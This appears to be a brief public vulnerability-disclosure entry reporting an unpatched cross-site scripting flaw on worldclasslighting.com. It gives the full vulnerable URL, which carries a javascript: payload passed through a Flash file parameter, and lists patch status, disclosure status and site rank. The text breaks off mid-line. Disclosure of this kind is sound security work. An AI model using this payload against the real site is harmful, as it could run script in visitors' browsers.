worldclasslighting.com XSS vulnerability

Vulnerable URL: http://www.worldclasslighting.com/UK/flashdetection.swf?flashContentURL=javascript:alertdocument.domain Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.01.2018 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1444870 VIP...